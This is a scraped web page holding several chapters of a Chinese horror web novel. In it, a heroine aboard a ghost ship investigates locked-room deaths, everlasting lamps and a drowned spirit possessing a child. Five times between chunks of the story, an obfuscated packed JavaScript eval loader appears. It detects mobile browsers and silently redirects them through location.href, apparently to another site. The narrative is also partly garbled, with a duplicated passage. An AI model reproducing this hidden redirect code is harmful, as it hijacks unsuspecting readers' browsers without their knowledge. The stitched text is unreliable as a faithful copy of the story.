;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809210|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音后，同时呼出一口气。 “应该是海里的那些东西上来了。”韩舟靠近阿月耳边轻声说道。 她想起刚才给阿月的污染试纸，又抓起阿月的手，点了点她掌心的符纸：“这个东西，你要是遇到奇怪的人，就偷偷贴到它背后，若是符纸发黑了，就离那人远点，赶快来找我，让我来处理。” “好。”阿月微笑着点点头，看韩舟的眼神敬意更深。 韩舟：…压力有点大啊… 二人又躺回床上，阿月因为害怕再做噩梦，一夜未睡，第二天早上起来的时候顶着两个深深的眼袋。 韩舟却是睡眠充足，精神奕奕，她同情地看了一眼阿月，轻轻地拍了拍她的肩膀以示安慰。 韩舟看到房里有一个脸盆，里面装了清水，就捧了点水泼在脸上，刚在脸上抹了几下，听到外面传来一声惊呼：“啊！！！！” “怎么回事？”韩舟飞快地冲出房门，迎面撞上了同样冲出门的方兰、方竹两姐妹。 此时惊呼声又响起，竟是从船舱外传来。 “死人了！死人了！” 韩舟急忙往船外跑，结果旁边的方兰速度比她还快，转瞬间就冲到船舱外。 韩舟跟着出了船舱，外面天已经凉了，天空却依旧阴沉，不见太阳 她来到甲板上，看到地上有一大滩鲜血，上面散落着断肢残肉，与残留在地上的雨声混在一起，发出阵阵腥臭。有几人呆若木鸡地站在一旁。 率先冲出来的方兰看到这副景象也愣住了，下一瞬她冲到船的栏杆边发出干呕声。 有npc死了？是被海里的那些东西杀的？因为违反了规则吗？ 她看着血渍旁瑟瑟发抖的几人，问道：“是谁先发现的尸体？” “是我…”一个瘦弱少年举起了手，“我早上醒来的时候头有点晕，想出来呼吸点新鲜空气，刚出来就看到了这些血肉…” 韩舟还想问点什么，就见蓄着山羊胡须的孟先生也从船舱里缓缓走出，身后跟着一大批人，他看着眼前这滩血迹，皱了皱眉头。 他沉思片刻，捋了捋胡子，“昨晚有谁失踪了？” 众人面面相觑，低声交谈了一阵。 一个汉子举起手：“我知道，是梅大！他因为睡觉会打呼噜，所以自己一人睡一间房，今天早上我去找他，发现他不在房里。” 陆续有人举起手，报告有哪些同伴不见了。 孟先生又捋了捋胡须，叹了一口气：“看来他们是没守规矩，半夜出了房门，被海里爬上来的东西给杀了…” 此时方兰刚在脸上栏杆边大吐特吐完，回到甲板上，对着众人问道：“昨天晚上你们有听到敲门声？” 有一波人点头称是，另一波人则满脸迷惑。 方兰斩钉截铁道：“这些人是听到敲门声开门了！”她顿了顿又说，“我和小妹也听到敲门声了，但我们没有开门也没发出声音，后来门外的东西就走了！” 韩舟暗暗想，看来海里那些怪物不是找上所有人，而是有选择的… 那这个选择是随机的还是有特定要求？ 那些人明明听过规矩里的要求，为什么还要开门呢？ 34. 阴阳集市（五） 那些东西能进到房里？众人面色变了。 钱二喃喃开口：“可我之前来的时候，门明明是锁好的…” 此时方兰才在船舱外大吐特吐完，白着一张脸走过来，对着众人问道：“昨天晚上你们有听到敲门声吗？” 看到有人点头，方兰斩钉截铁道：“这人肯定是听到敲门声开门了！”她顿了顿又说，“我和小妹也听到敲门声了，但我们没有开门也没发出声音，后来门外的东西就走了。” …不对…就算他是因为听到敲门声开门了，鬼怪把它带走时顺便把门锁上吗？ 韩舟看了看被她被踹坏的门，门锁完好无损地挂在上面，她接着看向窗户，也是关得严严实实。 这是一桩密室杀人案件啊。 莫非船主给的规矩是假的？锁好门并不能阻止鬼怪进来？ 她在屋子里绕了一圈，总觉得哪里不对劲，这屋子好像里少了什么东西… 她的视线最终落在桌子上，那里本该有盏油灯，此刻却不见了。 韩舟沉思片刻，快速走到床边，打开紧闭的窗。 临窗的甲板上，安静躺着一只金色灯盏，烛火已经熄灭，粘稠的油顺着盏边滴落在地。 “唔…”韩舟捏了捏下巴，想起了昨晚她怎么吹也吹不灭桌上的油灯。 莫非是因为这盏灯… “糟了！”方竹冲进来喊，“我隔壁住的人也不见了。” 众人移步那间房，屋里同样满地的水渍和海藻。 韩舟扫了一眼桌面，桌上的油灯并无火焰，灯盏上还挂着水珠。 她清了清嗓子，大声问道：“各位，有谁动过自己房里桌上的灯吗？” “没有…”孟先生摇了摇头。 “昨晚因为小妹太害怕，我们亮着灯睡的。”方兰道。 “谁敢随便动这里的东西啊…再说那灯盏看着挺贵的…”钱二嘟囔。 “我…”最开始发现尸体的瘦弱少年举起手，“我昨天试着吹灭那盏灯，但没成功…” 在场的人都纷纷表示自己没动过。韩舟想，看来还能站在这里喘气的，桌上的灯都还亮着… 那盏灯风吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818913|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不灭，灯油究竟是用什么特殊的东西制成的？ “诸位。”船夫冷不丁出现在门口，苍白的脸面无表情，“请返回自己的房间，我要将这里打扫一下，一会儿会将早饭送到你们房门口。” 众人哪里敢不听船夫的话，正准备作鸟兽散，韩舟转了转眼珠，从桌面上拿起灯盏，走向船夫：“这位大哥，有个问题想请教你…” 孟先生皱了皱眉头。 “这姑娘胆子真大。”钱二小声自言自语，却见船夫冰冷的目光扫来，立刻闭紧嘴。 船夫目光又落在韩舟身上，“什么问题？” “这盏灯的灯油是用什么做的？”韩舟晃了晃手上的灯盏。 船夫海水般漆黑的眼睛盯着韩舟，露出一个冷笑：“深海人鱼” “此灯又叫做：长明灯。” 人鱼？长明灯？韩舟愣住了。 长明灯是丧葬习俗中常使用的，一般出现在墓室里，也有传说在守岁时点燃可以驱走鬼魂…没想到竟出现在这艘船上… 还有人鱼…这玩意儿真的存在？ 35. 阴阳集市（六） 站在栏杆边沉思的韩舟似有所感，抬起头：“刚才是不是有人在喊救命？” 一旁的阿月有些莫名：“没有，小舟，你是不是听错了？” “可能吧…”韩舟揉了揉太阳穴，难道自己幻听了？ 韩舟和阿月回到船舱里的时候，迎面碰上了钱二。 他背着手，哼着小曲儿，一派悠闲。 “早啊。”钱二满面笑容地跟韩舟和阿月打了个招呼。 现在这个时间还早吗？韩舟虽然有点迷惑，但见对方这么热情，便也向他挥了挥手。 在跟钱二擦肩而过时，韩舟听清了他嘴里哼唱的歌词： “式微，式微！胡不归…” 韩舟猛然转头看向钱二：“你在唱什么？” 钱二止住脚步，意犹未尽又哼唱了两句，才停下笑嘻嘻道：“这首歌叫式微，你没听过吗？” 韩舟当然听过这个名字，式微出自《诗三百》，唱的是在外服苦役之人有家不能归的悲愤之情，但是钱二嘴里哼的曲调分明是她昨夜听到的。 阿月听到钱二唱的歌后，面色凝重起来，她凑近韩舟轻声说道：“我昨天梦里听到的也是这首…” 钱二看着面前俩人如临大敌的样子，收敛笑容，叹了口气：“这歌不好吗？这是我们家乡流传很广的小曲，我可喜欢这首歌了…难道你们不想家吗？” 想家你还这么开心…韩舟腹诽，只得随口回了一句：“很好听的歌。” 钱二又露出笑容：“我也这么觉得…你们放心，我们很快就可以回家了。” 韩舟奇怪道：“回家？” 钱二面带得意地点了点头，背着手哼着小曲儿离去了。 “式微，式微！胡不归…” 韩舟一时无语。 … 二人返回房间，阿月看到屋子的情况后，面色骤然大变，一改平日里的闺秀姿态，大步走到桌前。 “怎么回事，油灯呢？” 桌上的灯盏不见踪影。 韩舟的脸色也不怎么好看，她想了想，推开窗户，甲板上也没看到油灯。 有人拿走了她们房里的长明灯，是谁干的？ 她早上才跟众人说了留着这灯就不会被海里的东西找上，现在出现这种事，是有人看她不顺眼吗？还是拿她做实验？ 韩舟无奈地抓了抓头发，这些npc心眼儿咋这么坏呢！ “怎么办！我房里的灯不见了！”门外传来吵嚷声。 韩舟听到嚷声，快步走出门。 “我房里的也不见了！哪个兔崽子拿的！” 隔壁的方兰和方竹俩姐妹也站在门口，满脸好奇地打量大厅里吵吵的人。 韩舟看着她们冷静的样子，不禁问道：“你们房里的油灯还在吗？” 方竹点点头：“在的，我和阿姐从吃早饭开始就没出过屋子…你们的不见了吗？” 韩舟撇了撇嘴：“是啊，真倒霉…” “诸位，冷静一下。”孟先生又适时现身，“是哪几位的灯不见了，一个一个慢慢说。” 众人见到孟先生一哄而上，七嘴八舌开始诉苦，孟先生听了半天，好不容易才把事情捋清楚。 在场的人一共一百多人，房里灯还在的与房里灯不见的人数比例大概3：1，灯还在的都是早上发现死人后就一直呆在屋里的，而不在的都离开过房间一段时间。 “一定是有人趁我们不在屋里，把灯拿走了！”一个瘦高个男子恨恨开口。 “是谁啊！这么缺德。” 发生这种事，众人都认定长明灯一定能保命了，不然也不会被居心叵测的“人”拿走。 “各位先别急。”孟先生不紧不慢道，“我看大厅墙上还有不少油灯，不如我们先取些来应个急？” “还是孟先生有办法！”有人欣喜道。 “那我们快去取灯吧。”众人纷纷应和，乱哄哄挤向墙壁。 “小舟，我们也去吧。”阿月轻声对韩舟说道。 韩舟摇了摇头：“再等等，我觉得不对劲。” 正当人们想把灯盏从墙上取下时，船夫出现了。 一共八个船夫，脸色都苍白如墙壁，他们缓缓走近大厅，像八具冷冰冰的行尸，拦在众人面前。 “请不要动墙上的灯。”其中一个船夫冷冷开口。 “不动我们晚上就要死了！”瘦高个忿忿不平道。 “动了，你们现在就要死。”船夫说这话的时候语气很平静，却透出一股寒意。 众人噤声，被船夫们的气势震慑，都退后几步。瘦高个看了一圈周围后退的人，咬了咬牙。 “各位，请回房吧。”船夫继续道，话语间充满了不容置喙。众人无法，只得缓缓挪动脚步，向房间走去。 韩舟向阿月耸了耸肩：“看吧，我就知道不行。”阿月无奈摇头。 八个船夫见众人不再碰灯，齐齐转身离去。 瘦高个看着船夫们离去的背影，眼珠转了转，轻手轻脚靠近墙壁，取下了上面的一只灯盏。 “你们让我不取，我就不取，我又不是傻子…”瘦高个小声嘀咕着，把灯盏抱在怀中，露出一脸得逞的笑容。 下一刻，他就笑不出来了。 一个船夫不知何时出现在他面前，离他不过几寸的距离，苍白的脸几乎贴到他的头发上。 “你…”瘦高个哆嗦了一下，还未说出求饶的话，就被船夫像小鸡仔一样拧起来。 船夫抬起白纸般的脸，漆黑如深海的眼睛看向呆住的众人。 “你们看…这就是不听话的下场…” 说罢，他张开嘴，一口咬在瘦高个脖子上。 鲜血喷溅而出，瘦高个挣扎了几下，就像根枯萎的草垂下头不动了，船夫吮吸了好几口，另外几个船夫脸上都露出羡慕的表情。 抓着瘦高个的船夫似乎喝饱了，满足地舔了舔唇，将瘦高儿的尸体举起来，看向众人：“我已告诫过你们，不要碰大厅里的灯…不管谁碰了我们都会知道，不要心存侥幸，听到了吗？” “听…听到了。”有人吓得跌坐在地，不一会儿地面就湿了。 韩舟皱起眉头，海里的怪物吃人，船上的怪物喝血，这次的怪谈够恶心人的。 她看了眼一旁的阿月，阿月目不转睛盯着眼前这一幕，整张脸早已失去血色。 韩舟伸手遮住阿月的眼睛：“别看了。” 阿月闭上眼睛，面颊上有泪滴滑落。 等几个船夫的身影消失在船舱深处，有人颤声开口：“现在…我们怎么办？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849500|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟先生叹了一口气，似乎也没了办法。 “那个…”韩舟举起手，“不是还有不少人有灯吗，我们没灯的可以借住在他们房里。” “但船主不是说…不要轻易换房。”孟先生迟疑开口。 “他说的是不要轻易换房，可现在是非常时期…”韩舟缓缓道。 “有理。”孟先生捋了捋胡子。 “可是房里丢了灯的人，指不定已经被怪物盯上了。”说话的是钱二，他刚从船舱外进来，身上沾染了一股海水的咸腥气味，此刻他双手环胸，脸上似笑非笑，“住到别人房里，万一把怪物引去怎么办？” 这话提醒了众人，房里还有灯的人纷纷面露戒备。 “完了…”韩舟瞪了钱二一眼，有这么拆台的吗！ 钱二假装没看见韩舟想刀人的目光，又哼着小曲回房去了，顺带把大门一关，态度很明显：谁也别想进他房里来。 剩下的人乱成了一锅粥。 有的人急急返回房去，关紧大门，任凭外面人怎么敲门都不打开。 一些没来的及回屋的，被没灯的人拽住苦苦哀求。 还有的直接抢了别人的房间，把原来住在里面的人扔到门外… 韩舟：…有时候挺绝望的。 阿月握了一下韩舟的手：“韩方士，我们现在怎么办。” 韩舟长叹一声：“摆烂吧。” 阿月：… 方兰和方竹还站在门口，方兰正踹开一个来抢房的人，抽空对韩舟和阿月说：“你们住我们屋吧…” 韩舟热泪盈眶：还是好人多啊！ 阿月也面露喜色：“谢…”还没等她说完，方竹已走了过来，拉上韩舟和阿月的手：“先进来再说。” 四人进了房，把房门锁上，这大门倒是很结实，普通人很难撞坏。 韩舟趴在门上，从门缝处关注着门外动向。 阿月对俩姐妹行了一礼：“多谢二位姑娘…不过…”她迟疑了一下，还是问道，“门外那么多人，为什么你们只收留我们？” 方兰笑了笑：“看你们顺眼罢了。” 韩舟听到此话，也忍不住转身问：“你们不怕我们把怪物引来吗？” 方兰摆了摆手：“都已经让你们进来了，如果还怕这怕那像什么话。” 韩舟感动不已，真想给这姐妹一个大大的拥抱。 方竹在一旁小声说：“我们另一边隔壁本来住了一对夫妻，人也很好，没想到…可惜我们没能救他们…要是昨天他们房里的灯灭了，就让他们住我们房里就好了…”她说着说着抽泣了两下。 “不是你的错。”韩舟走过去拍了拍她的肩膀，“昨天谁也不知道这灯灭了就会被鬼怪找上。” “请各位返回自己的房间…”船夫的声音在门外响起，“若再吵吵闹闹，不听话的人下场，你们可是刚刚才见过。” 门外的喧嚷声一下消失，彻底安静下来。 紧接着是船夫的一声冷笑：“还不快回房？” 一阵窸窣脚步声在门外响起，应该是众人返回自己的房里了。 韩舟呼出一口气，看向窗外，天空依旧灰蒙蒙，虽才过了一天，她却感觉自己已经很久没见过太阳了。 今晚注定不会平静。 36. 阴阳集市（七） 夜幕逐渐降临，窗外响起淅淅沥沥的雨声。 顷刻间，暴雨如注。雨丝编成一张细密的巨网，将泉先号大船笼罩。 韩舟站在窗前眺望远方，方兰躺在床上闭目养神，阿月和方竹端坐在桌前沉默不语。 此刻门外很安静，也许是因为被船夫警告过，没有人再在大厅和廊上喧哗。 韩舟瞧着窗外的大雨，想起了某部知名电影：“阿月，你说我们这船会撞上冰山吗？” 阿月惊讶地望向她：“什么？” 韩舟轻咳两声：“没事，开个玩笑。”说罢，她也走到桌前坐下，给自己倒了杯水：“这船看着大，若是撞上暗礁什么的，也不知道能不能撑得住…” “应该不会吧…”方竹小声道，“这可是鬼怪的船…” 正说着，“咚咚咚”敲门声响起，方竹跑去打开门，是船夫送饭来了。 船夫将食案交给方竹后，冰冷的目光在屋内四人身上逡巡一圈，面无表情开口：“请各位入夜后把门锁好，不要出房间，更不要出船舱。” “知道了。”方竹答道。 等船夫离去后，方竹关紧门，将食案放到桌上，愉快说了声：“我们吃饭吧！” 原本躺在床上的方兰听到这话，火速睁开眼，从床上爬起来，四人围着桌边坐下。 方兰拿起筷子准备夹菜，想了想又放下，笑着开口：“两位姑娘，我们现在算是一条船上的人了，不如深入了解一下？” 深入了解？韩舟警觉。 “我先来吧。”方兰继续说，“之前跟韩姑娘提过我和小妹的名字…我叫方兰，我妹妹叫方竹，我们都是吴阊城的绣娘，本来去集市上是想卖点绣品的，没想到来了这个鬼地方…” 见她说得这么详细，看来是不编点东西不行了，韩舟斟酌了一下开口：“我叫韩舟，是个云游四海的方士…” 听到“方士”两个字，方兰和方竹眼睛同时亮了。 韩舟急忙补充：“不过我法力低微，只能算个半桶水。” “那已经很厉害了！”方竹崇拜地看着她。 “这位姑娘呢？”方兰目光转向阿月。 阿月微微抿唇，露出一个温和有礼的笑容：“我叫阿月…” “阿月？”方兰眨了眨眼，“没有姓的吗？” “…”阿月沉默了一瞬，轻声道：“阿月是我的乳名，我大名叫白媜。”随后她便停住，没有再交代别的信息。 韩舟并不感到意外，阿月这名字一听就不是真名，她的身份一看就非富即贵，在这种危险的地方，不告诉别人真名也正常。 而韩舟自己随便说真名，纯属仗着这里全是npc，说了也没什么影响，出了副本谁也管不了她… “白姑娘。”方兰点了点头，也看出白媜不想多透露自己的身份，便没有再问。 这时门外又响起敲门声，不过听声音是在敲其他人的门，似乎是顾忌船夫的存在，敲得并没有很用力。 “求求你们了，救救我们吧…”哀求声断断续续传来。 “马上就要入夜了，那些东西就要上来了…” “放我们进去吧…不然我们必死无疑…” “吱啦”一声似乎是谁的房门打开了。 “进来吧，不过只能来一个人哦。”听着是钱二的声音。 韩舟疑惑，这个钱二，先前自己说没灯的人可以住进别人房里时，他非要拆台，弄的大家互相怀疑防备，这会儿又当好人了？ 韩舟忍不住走近大门，贴在门缝上往外看。 钱二的房间就在对面，他倚靠着门框，有四、五个人站在他面前，正尝试挤进他房里。 钱二一脚踹在另一边门框上，拦住那几人，他脸上笑意淡淡，语气加重：“我说了，只能进一个人。” 钱二的身材魁梧，和梅大不相上下，一看就不好欺负。 那几个人面面相觑，正不知所措时，钱二隔壁的一扇门打开了，一个蓄着山羊胡须的人走了出来。 是孟先生。 孟先生站在门口，叹了口气，对钱二门口的人说道：“你们都进来吧。” 那几人面露喜色，飞也似的冲到孟先生门前：“多谢孟先生！”说罢他们便钻进房里。 有些事就是这样，只要有人开了个头，便能破冰。接下来陆续有人将大门打开，放在外面哀求的人进去。 韩舟正观望着，只见一个女孩走到她们房间门前。 这个女孩看着大概才十岁出头，清秀的脸上带着几分稚气，她怯生生举起手，敲了敲门：“姐姐，能让我进来吗？” 韩舟回头看了看方兰和方竹，这是她们的房间，放不放人只能由她们来做主。 方兰站起身，走到门前，也贴在门缝前看了看外面，片刻后转身对韩舟三人说：“只是一个小女孩，让她进来吧？” 其他三人自然没什么异议。 方兰便打开门，小女孩走了进来，对着四人鞠了一躬：“谢谢你们。” “不用谢，小姑娘，你叫什么名字呀？”方兰笑眯眯问道。 “我叫采薇。”小女孩答道。 “采薇？是个好名字啊。”方兰拉起女孩的手，“你是一个人来的吗？你的家人呢？” 采薇点了点头：“我的家人…都不在这。” 韩舟暗暗吐槽，这怪谈副本，老人小孩都不放过，先前的王田儿还有父亲陪着，这回这个采薇就只剩一个人了… 方兰想了想，拉着采薇来到桌前，“别怕，和姐姐们一起吃饭吧。”方竹取了筷子递过去，白媜给她倒了杯水。 泉先号的舱房实在太宽敞了，桌子也大，五个人围坐在桌前丝毫不显拥挤。 门外又恢复寂静。 窗外夜色越来越浓，与雨幕交织在一起，桌上灯火摇曳。 用过饭后，方兰又躺回床上，剩下四人坐在桌边。 方兰在床上躺了一会儿，又坐起来：“太无聊了，我们说说话吧？” “说什么？”韩舟问道。 “你们平常看话本吗？”方兰走到桌前，拉了张椅子坐下。 “我看的。”方竹道。 “我当然知道你看。”方兰揪了一下方竹的脸，“我是问韩姑娘，白姑娘还有采薇妹妹。” 白媜摇了摇头：“我平时甚少有机会看这个…” “韩姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872030|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？”方兰接着看向韩舟。 “我看。”韩舟的眼睛弯成月牙，“不过我最爱看恐怖…志怪类的话本” “哦？正巧，我也爱看志怪故事。”方兰来了兴趣，“你都看过哪些，说来听听。” 韩舟内心默默得瑟，我岂止看啊，我还亲身经历过呢。 想到这，韩舟清了清嗓子：“我就简单给你们说几个。” …… “当时啊，女子就藏在义庄的棺材里…”其实是在医院的太平间，这是韩舟经历过的怪谈副本，不过她换成了古代人能听懂的说法。 “女子听到棺材外有咚咚咚像僵尸跳的声响…她屏住呼吸不敢一点声音，生怕被那些鬼物发现…” “过了一会儿，外面声音消失了，女子松了口气…” “鬼物走了吗？”方竹忍不住问。 韩舟笑了笑，继续道：“女子也是这么想的，她正想着要不要出去看，忽然棺材板打开了！” 韩舟说到“打开”两个字时，抓住了方竹的肩膀。 方竹吓得发出一声惊叫。 “哈哈哈…”韩舟忍不住乐了。 “我还以有为什么呢…小妹你胆子也太小了…”方兰恨铁不成钢地拍了方竹一下。 “真的很可怕啊！”方竹瑟瑟发抖。 “我觉得还好…”白媜淡定地喝了一口茶。 那是我没把最可怕的部分讲给你们听…怕吓到你们…韩舟腹诽。 “姐姐，我也说一个吧。”原本一直默默不语、安静倾听的采薇忽然开口。 采薇身为她们中年纪最小的，此刻却面色平静，完全没有被吓到的样子。 “你也看志怪故事吗？”韩舟看着镇定的采薇，有些好奇。 采薇点了点头：“我也看过不少。” “好，你也说一个，越吓人越好。”韩舟拊掌笑道。 “你们知道水猴的传说吗？“采薇问道。 水猴？韩舟觉得这名字有点耳熟。 “我知道，就是水鬼。”方兰开口，“传说人若是溺死在江河湖海里，魂魄便会被困在水底，无法转世投胎，只有寻找到另一个活人，将其拉下水淹死充当替身，才能解脱…” 采薇点了点头：“我要说的这个故事…便和水猴有些关系…” “从前有个姑娘，她原本和家人幸福地生活在一起…” “有一天，她被一群人强行带离家门，来到一个陌生的地方…”采薇说到这的时候，眼神有些哀伤，“在那里，有很多跟她一样的人，一开始她很害怕，一直想要逃走，后来有人告诉她，他们即将去往仙境…在仙境能获得永恒的幸福…” 仙境？永恒的幸福？韩舟皱了皱眉头。 “姑娘听后便对他们即将要去的地方憧憬起来，毕竟，谁不向往神仙呢？”采薇此刻的声音有些飘渺，“可世事难料…她还没见到仙境，便被人投入海中溺死，尸体沉入海底…” “这姑娘的鬼魂在海底游荡，终日苦苦煎熬，期盼着有一天能够重见天日，回到家乡…” 说到这里，采薇停住了，她的眼睛幽幽看向韩舟四人：“你们说，她该不该寻找她的替死鬼呢？” 37. 阴阳集市（八） 采薇问出这句话后，其他四人都愣住了。 过了好一会儿，方竹才轻声道：“这故事中的姑娘…实在可怜…” 白媜沉默一瞬，接着方竹的话缓缓开口：“这位姑娘的经历固然悲惨，令人怜惜，但被她当做替死鬼的人亦是无辜…” 方兰想了想说：“不过若是找杀害她的人当替死鬼，那倒没问题…” 听到方兰这话，采薇垂下头去：“如果杀害她的人太厉害，她无法报复呢？” 韩舟听到这话，心里有什么东西一闪而过，她下意识伸手抓住桌上的油灯，手指在上面摩挲了两下：“俗话说冤有头，债有主，这姑娘找无辜人当替死鬼，那被她找到的倒霉鬼也可以报复回去…” 采薇抬头看向韩舟，清澈的眼里目光闪烁，片刻后，她脸上浮现出一个冷笑。 “是啊…冤有头债有主…但没办法了，她也想活啊，不是她死，就只能是别人了…” “还有很多跟她一样可怜的人，他们的尸体沉在那冰冷的海水里，想要回归故乡…” “为此…只能牺牲一些无辜之人了…” 韩舟蹙起眉头，立刻手握油灯站了起来，对其他三人喊了一句：“你们快离采薇远点！” 这话来得太突然，其他三人一时间没反应过来，却见采薇跟着站起身，对着韩舟张开嘴，喷出一条水柱。 韩舟没想到她还能喷水，躲闪不及，手上的油灯被浇灭。 屋内霎时陷入黑暗。 这个采薇是杰尼龟吗…韩舟忍不住在内心吐槽，只能把油灯扔回桌子上。 下一瞬，韩舟的衣襟里透出一团亮光，如夜明珠般照亮了整个房间，她急忙从衣襟里取出了那团发光的东西，那是一串佛珠。 韩舟惊了，了空送的道具居然还有照明功能…她立刻将佛珠挂在了自己脖子上。 佛珠发出的光芒照亮采薇的面目，此刻她面目阴森，一双眼里没有眼白，漆黑的瞳仁占据了整个眼眶，看上去如同从地狱爬到人间的恶鬼。 但她却没向她们发起攻击，而是快步走到窗前，打开了窗子。 韩舟迅速反应过来，又冲其他三人喊到：“快跑！找有长明灯的房间先躲进去！” 她话刚落，方兰就动了，她一手抓住方竹的衣袖，飞快向门边跑去，方竹还在怔愣中，身体下意识随着方兰的拉扯开始奔跑。 白媜也跟着小跑了几步，又停住了，转过身充满担忧地看向韩舟：“小舟你呢？” “你忘了，我是方士，你先走吧，我自有办法对付她…”韩舟急忙道，从道具栏取出板砖，“这个时候千万别说什么我不走要走一起走之类的话…” “…好，你小心…”白媜迈开步伐，这时方兰已经打开了门，她跟在方家两姐妹后面向门外跑去。 见其他三人都离开了，韩舟定了定心神，望向采薇，她站在窗边，背对着自己没有动，窗户已经大开，冰凉的雨丝飘进屋内，打湿了采薇的衣衫。 窗户外出现了一颗飘在空中的头颅，整张脸苍白浮肿，仔细看去，那颗头其实是有身体的，只是它的身体是一条漆黑的鱼尾，与夜色融为一体，乍一看分辨不出…鱼尾上本该长鳍的地方是四只蜥蜴一般的爪子。 这个非人非鱼的怪物扬起爪子，从窗外缓缓爬了进来，它身上散发着一股咸腥味，海水混合着雨水顺着它的爪子流淌而下，很快就在屋里形成一滩水迹。 韩舟看着爬进屋的怪物，沉默片刻，忽然问道：“就它一个吗？” 站在窗边的采薇转过头看她，她的眼睛已恢复正常，眼中带着奇异之色，似乎不解韩舟为什么会这么问，却还是点了点头。 韩舟呼出一口气，露出丝笑容：“幸好就一个，多了我还忙不过来…” … 方兰拉着方竹在廊上飞速跑着，白媜跟在后面，她们不时停下，敲响经过的每一扇门，“求求你们开开门，救救我们。” 大门都紧闭着，没有一扇打开。 如果说之前因为还是傍晚没有危险，所以有人愿意收留其他人，此刻已至午夜，鬼怪已经出现，无人敢冒着风险放她们进去。 三人内心涌起一丝绝望，白媜忽然道：“大厅里也有长明灯！我们去那里！”方兰脚步一顿，拉着方竹向大厅方向跑去，浑然不觉身后的白媜不见了。 方氏姐妹跑到大厅，此刻厅内灯烛辉煌，有一人抱手站在厅中，脸上一派悠闲自得。 这人是钱二。 钱二见到她们，缓缓将抱着的手放下，脸上浮现出诡异的笑容。 方兰感觉到不对劲，停住脚步。 钱二的眼眶迅速染上一片墨色。 … 韩舟这边已经结束了战斗，人首鱼身的怪物在她的板砖下变成一滩鱼肉大饼。 采薇站在一边，有些意外地看着她：“没想到…你还真有点本事…” 韩舟笑了笑：“也没有多大本事…下一个该你了吗？你怎么不动手？” 采薇也笑了：“用不着动手，我已经是人了…我早已找到我的替死鬼，刚才不过是帮助和我一样死在海底的可怜人罢了。” 采薇说话时露出了鲨鱼般的尖牙，韩舟暗暗吐槽：说什么你已经是人了…这话你自己信吗… 她瞥了眼采薇充满稚气的脸，忍不住问道：“这副身体…不是你的吧？” “的确不是我的。”“采薇”承认得很干脆，她此刻的言行举止已完全不像个小女孩，甚至带着点沧桑。 “这副身体的名字才叫采薇，而我自己的名字…时间太久了，我已经不记得了…”“采薇”似乎陷入了回忆，“我有她的记忆…她也有疼爱她的父母…她被卷进这来的时候正在集市上，她的母亲给她买了一只拨浪鼓…” 韩舟抿了抿唇，板砖在她手里变成一把匕首，她把匕首藏在身后，轻轻挪动脚步走向“采薇”。 “采薇”犹自喃喃道：“只可惜，她和我一样运气不太好…她房里的长明灯丢失了，就躲在屋里哭啊哭啊，也不敢找别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886487|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人帮忙…” “我当时浸在冰冷的海水里，听到她的哭声，就爬上甲板，从她的窗户爬了进去…” “真是一个悲伤的故事…”韩舟轻声道，脚下未停，她离“采薇”的距离不到一米。 “采薇”微微颔首：“是很悲伤，可她所遭受的痛苦，不及我的万一…我是被人捆住手脚，活生生扔入海中…海水灌入我的口鼻，我的身体逐渐被冻僵…一点一点窒息而死…” 